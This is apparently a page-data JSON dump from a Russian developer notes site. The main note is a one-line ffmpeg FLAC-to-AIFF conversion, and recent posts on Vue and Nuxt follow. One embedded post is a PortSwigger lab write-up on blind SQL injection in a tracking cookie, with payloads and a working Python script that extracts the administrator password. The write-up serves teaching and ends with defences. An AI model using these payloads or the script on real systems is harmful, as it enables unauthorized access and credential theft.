[{"data":1,"prerenderedAt":1294},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg":3,"recent-ru":155,"posts-ru-devops":1209},{"id":4,"title":5,"author":6,"body":7,"date":140,"description":141,"extension":142,"image":143,"meta":144,"navigation":145,"path":146,"seo":147,"stem":148,"tags":149,"__hash__":154},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg","Олег Анучин",{"type":8,"value":9,"toc":137},"minimark",[10,14,18,44,55,133],[11,12,5],"h1",{"id":13},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[15,16,17],"p",{},"Нужен установленный ffmpeg. Для macOS:",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-bash shiki shiki-themes github-light github-dark","brew install ffmpeg\n","bash","",[26,27,28],"code",{"__ignoreMap":24},[29,30,33,37,41],"span",{"class":31,"line":32},"line",1,[29,34,36],{"class":35},"sScJk","brew",[29,38,40],{"class":39},"sZZnC"," install",[29,42,43],{"class":39}," ffmpeg\n",[15,45,46,47,50,51,54],{},"Эта команда сконвертирует все ",[26,48,49],{},"*.flac"," файлы в ",[26,52,53],{},"*.aiff",":",[19,56,58],{"className":21,"code":57,"language":23,"meta":24,"style":24},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[26,59,60],{"__ignoreMap":24},[29,61,62,66,70,73,76,79,82,85,89,92,95,98,101,104,107,110,113,116,119,122,125,128,130],{"class":31,"line":32},[29,63,65],{"class":64},"szBVR","for",[29,67,69],{"class":68},"sVt8B"," i ",[29,71,72],{"class":64},"in",[29,74,75],{"class":39}," *.flac",[29,77,78],{"class":68},"; ",[29,80,81],{"class":64},"do",[29,83,84],{"class":35}," ffmpeg",[29,86,88],{"class":87},"sj4cs"," -i",[29,90,91],{"class":39}," \"",[29,93,94],{"class":68},"$i",[29,96,97],{"class":39},"\"",[29,99,100],{"class":87}," -write_id3v2",[29,102,103],{"class":87}," 1",[29,105,106],{"class":87}," -c:v",[29,108,109],{"class":39}," copy",[29,111,112],{"class":39}," \"${",[29,114,115],{"class":68},"i",[29,117,118],{"class":64},"%",[29,120,121],{"class":39},".",[29,123,124],{"class":64},"*",[29,126,127],{"class":39},"}.aiff\"",[29,129,78],{"class":68},[29,131,132],{"class":64},"done\n",[134,135,136],"style",{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":24,"searchDepth":138,"depth":138,"links":139},2,[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS","md",null,{},true,"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":5,"description":141},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[150,151,152,153],"ffmpeg","audio","cli","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[156,783,1078,1125],{"id":157,"title":158,"author":159,"body":160,"date":771,"description":772,"extension":142,"image":143,"meta":773,"navigation":145,"path":774,"seo":775,"stem":776,"tags":777,"__hash__":782},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":161,"toc":760},[162,166,171,178,197,201,227,231,238,241,249,256,259,294,297,301,306,312,321,331,335,342,357,360,364,371,712,718,729,733,736,741,757],[11,163,165],{"id":164},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[167,168,170],"h2",{"id":169},"уязвимость","Уязвимость",[15,172,173,177],{},[174,175,176],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[15,179,180,181,184,185,188,189,192,193,196],{},"В данном варианте (",[174,182,183],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[26,186,187],{},"TRUE"," или ",[26,190,191],{},"FALSE",". Конструируя условия вида ",[26,194,195],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[167,198,200],{"id":199},"лаборатория","Лаборатория",[15,202,203,206,207,214,217,220,221,223,226],{},[174,204,205],{},"Название:"," ",[208,209,213],"a",{"href":210,"rel":211},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[212],"nofollow","Blind SQL injection with conditional responses",[215,216],"br",{},[174,218,219],{},"Сложность:"," Practitioner",[215,222],{},[174,224,225],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[167,228,230],{"id":229},"разведка","Разведка",[15,232,233,234,237],{},"Приложение хранит cookie ",[26,235,236],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[15,239,240],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[19,242,247],{"className":243,"code":245,"language":246},[244],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[26,248,245],{"__ignoreMap":24},[15,250,251,252,255],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[26,253,254],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[15,257,258],{},"Проверяем булево поведение:",[19,260,264],{"className":261,"code":262,"language":263,"meta":24,"style":24},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[26,265,266,271,276,282,288],{"__ignoreMap":24},[29,267,268],{"class":31,"line":32},[29,269,270],{},"-- Условие TRUE → «Welcome back!» появляется\n",[29,272,273],{"class":31,"line":138},[29,274,275],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[29,277,279],{"class":31,"line":278},3,[29,280,281],{"emptyLinePlaceholder":145},"\n",[29,283,285],{"class":31,"line":284},4,[29,286,287],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[29,289,291],{"class":31,"line":290},5,[29,292,293],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,295,296],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[167,298,300],{"id":299},"эксплуатация","Эксплуатация",[302,303,305],"h3",{"id":304},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[15,307,308,309,54],{},"Используем функцию ",[26,310,311],{},"LENGTH()",[19,313,315],{"className":261,"code":314,"language":263,"meta":24,"style":24},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[26,316,317],{"__ignoreMap":24},[29,318,319],{"class":31,"line":32},[29,320,314],{},[15,322,323,324,327,328,121],{},"«Welcome back!» появляется при ",[26,325,326],{},"= 20"," — пароль состоит из ",[174,329,330],{},"20 символов",[302,332,334],{"id":333},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[15,336,337,338,341],{},"Функция ",[26,339,340],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[19,343,345],{"className":261,"code":344,"language":263,"meta":24,"style":24},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[26,346,347,352],{"__ignoreMap":24},[29,348,349],{"class":31,"line":32},[29,350,351],{},"-- Первый символ — 'w'?\n",[29,353,354],{"class":31,"line":138},[29,355,356],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,358,359],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[302,361,363],{"id":362},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[15,365,366,367,370],{},"Скрипт использует ",[26,368,369],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[19,372,376],{"className":373,"code":374,"language":375,"meta":24,"style":24},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[26,377,378,383,388,393,397,402,408,414,420,425,431,437,443,448,453,459,465,471,477,483,488,493,499,505,511,517,523,529,535,541,546,551,557,563,569,574,580,586,591,596,602,608,614,620,626,632,638,644,650,656,661,666,672,678,684,690,695,700,706],{"__ignoreMap":24},[29,379,380],{"class":31,"line":32},[29,381,382],{},"import requests\n",[29,384,385],{"class":31,"line":138},[29,386,387],{},"import string\n",[29,389,390],{"class":31,"line":278},[29,391,392],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[29,394,395],{"class":31,"line":284},[29,396,281],{"emptyLinePlaceholder":145},[29,398,399],{"class":31,"line":290},[29,400,401],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[29,403,405],{"class":31,"line":404},6,[29,406,407],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[29,409,411],{"class":31,"line":410},7,[29,412,413],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[29,415,417],{"class":31,"line":416},8,[29,418,419],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[29,421,423],{"class":31,"line":422},9,[29,424,281],{"emptyLinePlaceholder":145},[29,426,428],{"class":31,"line":427},10,[29,429,430],{},"CHARSET = string.ascii_lowercase + string.digits\n",[29,432,434],{"class":31,"line":433},11,[29,435,436],{},"MAX_LENGTH = 30\n",[29,438,440],{"class":31,"line":439},12,[29,441,442],{},"THREADS = 10\n",[29,444,446],{"class":31,"line":445},13,[29,447,281],{"emptyLinePlaceholder":145},[29,449,451],{"class":31,"line":450},14,[29,452,281],{"emptyLinePlaceholder":145},[29,454,456],{"class":31,"line":455},15,[29,457,458],{},"def check(sql_condition: str) -> bool:\n",[29,460,462],{"class":31,"line":461},16,[29,463,464],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[29,466,468],{"class":31,"line":467},17,[29,469,470],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[29,472,474],{"class":31,"line":473},18,[29,475,476],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[29,478,480],{"class":31,"line":479},19,[29,481,482],{},"    return \"Welcome back\" in r.text\n",[29,484,486],{"class":31,"line":485},20,[29,487,281],{"emptyLinePlaceholder":145},[29,489,491],{"class":31,"line":490},21,[29,492,281],{"emptyLinePlaceholder":145},[29,494,496],{"class":31,"line":495},22,[29,497,498],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[29,500,502],{"class":31,"line":501},23,[29,503,504],{},"    print(\"[*] Определяем длину пароля...\")\n",[29,506,508],{"class":31,"line":507},24,[29,509,510],{},"    for n in range(1, max_len + 1):\n",[29,512,514],{"class":31,"line":513},25,[29,515,516],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[29,518,520],{"class":31,"line":519},26,[29,521,522],{},"        if check(condition):\n",[29,524,526],{"class":31,"line":525},27,[29,527,528],{},"            print(f\"[+] Длина пароля: {n}\")\n",[29,530,532],{"class":31,"line":531},28,[29,533,534],{},"            return n\n",[29,536,538],{"class":31,"line":537},29,[29,539,540],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[29,542,544],{"class":31,"line":543},30,[29,545,281],{"emptyLinePlaceholder":145},[29,547,549],{"class":31,"line":548},31,[29,550,281],{"emptyLinePlaceholder":145},[29,552,554],{"class":31,"line":553},32,[29,555,556],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[29,558,560],{"class":31,"line":559},33,[29,561,562],{},"    for c in CHARSET:\n",[29,564,566],{"class":31,"line":565},34,[29,567,568],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[29,570,572],{"class":31,"line":571},35,[29,573,522],{},[29,575,577],{"class":31,"line":576},36,[29,578,579],{},"            return pos, c\n",[29,581,583],{"class":31,"line":582},37,[29,584,585],{},"    return pos, \"?\"\n",[29,587,589],{"class":31,"line":588},38,[29,590,281],{"emptyLinePlaceholder":145},[29,592,594],{"class":31,"line":593},39,[29,595,281],{"emptyLinePlaceholder":145},[29,597,599],{"class":31,"line":598},40,[29,600,601],{},"def get_password(length: int) -> str:\n",[29,603,605],{"class":31,"line":604},41,[29,606,607],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[29,609,611],{"class":31,"line":610},42,[29,612,613],{},"    password = [\"?\"] * length\n",[29,615,617],{"class":31,"line":616},43,[29,618,619],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[29,621,623],{"class":31,"line":622},44,[29,624,625],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[29,627,629],{"class":31,"line":628},45,[29,630,631],{},"        for future in as_completed(futures):\n",[29,633,635],{"class":31,"line":634},46,[29,636,637],{},"            pos, char = future.result()\n",[29,639,641],{"class":31,"line":640},47,[29,642,643],{},"            password[pos - 1] = char\n",[29,645,647],{"class":31,"line":646},48,[29,648,649],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[29,651,653],{"class":31,"line":652},49,[29,654,655],{},"    return \"\".join(password)\n",[29,657,659],{"class":31,"line":658},50,[29,660,281],{"emptyLinePlaceholder":145},[29,662,664],{"class":31,"line":663},51,[29,665,281],{"emptyLinePlaceholder":145},[29,667,669],{"class":31,"line":668},52,[29,670,671],{},"def main():\n",[29,673,675],{"class":31,"line":674},53,[29,676,677],{},"    length = get_password_length()\n",[29,679,681],{"class":31,"line":680},54,[29,682,683],{},"    password = get_password(length)\n",[29,685,687],{"class":31,"line":686},55,[29,688,689],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[29,691,693],{"class":31,"line":692},56,[29,694,281],{"emptyLinePlaceholder":145},[29,696,698],{"class":31,"line":697},57,[29,699,281],{"emptyLinePlaceholder":145},[29,701,703],{"class":31,"line":702},58,[29,704,705],{},"if __name__ == \"__main__\":\n",[29,707,709],{"class":31,"line":708},59,[29,710,711],{},"    main()\n",[15,713,714,715],{},"Результат: ",[26,716,717],{},"wfa3n32o7a6mb4xon7d6",[15,719,720,721,724,725,728],{},"Заходим в ",[26,722,723],{},"\u002Fmy-account"," как ",[26,726,727],{},"administrator"," с этим паролем — лаба решена.",[167,730,732],{"id":731},"вывод","Вывод",[15,734,735],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[15,737,738],{},[174,739,740],{},"Как защититься:",[742,743,744,748,751],"ul",{},[745,746,747],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[745,749,750],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[745,752,753,754],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[26,755,756],{},"users",[134,758,759],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":761},[762,763,764,765,770],{"id":169,"depth":138,"text":170},{"id":199,"depth":138,"text":200},{"id":229,"depth":138,"text":230},{"id":299,"depth":138,"text":300,"children":766},[767,768,769],{"id":304,"depth":278,"text":305},{"id":333,"depth":278,"text":334},{"id":362,"depth":278,"text":363},{"id":731,"depth":138,"text":732},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":158,"description":772},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[778,779,780,781],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":784,"title":785,"author":6,"body":786,"date":1068,"description":1069,"extension":142,"image":143,"meta":1070,"navigation":145,"path":1071,"seo":1072,"stem":1073,"tags":1074,"__hash__":1077},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API",{"type":8,"value":787,"toc":1066},[788,792,802,813,1063],[11,789,791],{"id":790},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[15,793,794,795,798,799,121],{},"В Options API мы можем использовать ",[26,796,797],{},"data()"," для создания стейта компонента и обращаться к нему через ",[26,800,801],{},"this",[15,803,804,805,808,809,812],{},"С помощью ",[26,806,807],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[26,810,811],{},"ref()"," для нескольких свойств.",[19,814,818],{"className":815,"code":816,"language":817,"meta":24,"style":24},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[26,819,820,832,846,850,861,869,886,897,905,910,914,934,947,951,955,962,973,978,983,988,993,1002,1006,1015,1029,1042,1055],{"__ignoreMap":24},[29,821,822,825,829],{"class":31,"line":32},[29,823,824],{"class":68},"\u003C",[29,826,828],{"class":827},"s9eBZ","script",[29,830,831],{"class":68},">\n",[29,833,834,837,840,843],{"class":31,"line":138},[29,835,836],{"class":64},"import",[29,838,839],{"class":68}," { computed, reactive, toRefs } ",[29,841,842],{"class":64},"from",[29,844,845],{"class":39}," 'vue'\n",[29,847,848],{"class":31,"line":278},[29,849,281],{"emptyLinePlaceholder":145},[29,851,852,855,858],{"class":31,"line":284},[29,853,854],{"class":64},"export",[29,856,857],{"class":64}," default",[29,859,860],{"class":68}," {\n",[29,862,863,866],{"class":31,"line":290},[29,864,865],{"class":35},"  setup",[29,867,868],{"class":68},"() {\n",[29,870,871,874,877,880,883],{"class":31,"line":404},[29,872,873],{"class":64},"    const",[29,875,876],{"class":87}," state",[29,878,879],{"class":64}," =",[29,881,882],{"class":35}," reactive",[29,884,885],{"class":68},"({\n",[29,887,888,891,894],{"class":31,"line":410},[29,889,890],{"class":68},"      price: ",[29,892,893],{"class":87},"2",[29,895,896],{"class":68},",\n",[29,898,899,902],{"class":31,"line":416},[29,900,901],{"class":68},"      quantity: ",[29,903,904],{"class":87},"5\n",[29,906,907],{"class":31,"line":422},[29,908,909],{"class":68},"    })\n",[29,911,912],{"class":31,"line":427},[29,913,281],{"emptyLinePlaceholder":145},[29,915,916,918,921,923,926,929,932],{"class":31,"line":433},[29,917,873],{"class":64},[29,919,920],{"class":87}," total",[29,922,879],{"class":64},[29,924,925],{"class":35}," computed",[29,927,928],{"class":68},"(() ",[29,930,931],{"class":64},"=>",[29,933,860],{"class":68},[29,935,936,939,942,944],{"class":31,"line":439},[29,937,938],{"class":64},"      return",[29,940,941],{"class":68}," state.price ",[29,943,124],{"class":64},[29,945,946],{"class":68}," state.quantity\n",[29,948,949],{"class":31,"line":445},[29,950,909],{"class":68},[29,952,953],{"class":31,"line":450},[29,954,281],{"emptyLinePlaceholder":145},[29,956,957,960],{"class":31,"line":455},[29,958,959],{"class":64},"    return",[29,961,860],{"class":68},[29,963,964,967,970],{"class":31,"line":461},[29,965,966],{"class":64},"      ...",[29,968,969],{"class":35},"toRefs",[29,971,972],{"class":68},"(state),\n",[29,974,975],{"class":31,"line":467},[29,976,977],{"class":68},"      total\n",[29,979,980],{"class":31,"line":473},[29,981,982],{"class":68},"    }\n",[29,984,985],{"class":31,"line":479},[29,986,987],{"class":68},"  }\n",[29,989,990],{"class":31,"line":485},[29,991,992],{"class":68},"}\n",[29,994,995,998,1000],{"class":31,"line":490},[29,996,997],{"class":68},"\u003C\u002F",[29,999,828],{"class":827},[29,1001,831],{"class":68},[29,1003,1004],{"class":31,"line":495},[29,1005,281],{"emptyLinePlaceholder":145},[29,1007,1008,1010,1013],{"class":31,"line":501},[29,1009,824],{"class":68},[29,1011,1012],{"class":827},"template",[29,1014,831],{"class":68},[29,1016,1017,1020,1022,1025,1027],{"class":31,"line":507},[29,1018,1019],{"class":68},"  \u003C",[29,1021,15],{"class":827},[29,1023,1024],{"class":68},">Цена: {{ price }}\u003C\u002F",[29,1026,15],{"class":827},[29,1028,831],{"class":68},[29,1030,1031,1033,1035,1038,1040],{"class":31,"line":513},[29,1032,1019],{"class":68},[29,1034,15],{"class":827},[29,1036,1037],{"class":68},">Количество: {{ quantity }}\u003C\u002F",[29,1039,15],{"class":827},[29,1041,831],{"class":68},[29,1043,1044,1046,1048,1051,1053],{"class":31,"line":519},[29,1045,1019],{"class":68},[29,1047,15],{"class":827},[29,1049,1050],{"class":68},">Итого: {{ total }}\u003C\u002F",[29,1052,15],{"class":827},[29,1054,831],{"class":68},[29,1056,1057,1059,1061],{"class":31,"line":525},[29,1058,997],{"class":68},[29,1060,1012],{"class":827},[29,1062,831],{"class":68},[134,1064,1065],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":1067},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":785,"description":1069},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[817,1075,1076],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":1079,"title":1080,"author":6,"body":1081,"date":1116,"description":1117,"extension":142,"image":143,"meta":1118,"navigation":145,"path":1119,"seo":1120,"stem":1121,"tags":1122,"__hash__":1124},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":1082,"toc":1114},[1083,1086,1102,1105,1111],[11,1084,1080],{"id":1085},"как-обновить-nuxt-3-проект",[19,1087,1089],{"className":21,"code":1088,"language":23,"meta":24,"style":24},"yarn nuxi upgrade\n",[26,1090,1091],{"__ignoreMap":24},[29,1092,1093,1096,1099],{"class":31,"line":32},[29,1094,1095],{"class":35},"yarn",[29,1097,1098],{"class":39}," nuxi",[29,1100,1101],{"class":39}," upgrade\n",[15,1103,1104],{},"Пример вывода:",[19,1106,1109],{"className":1107,"code":1108,"language":246},[244],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[26,1110,1108],{"__ignoreMap":24},[134,1112,1113],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":1115},[],"2022-08-15","Простая команда для 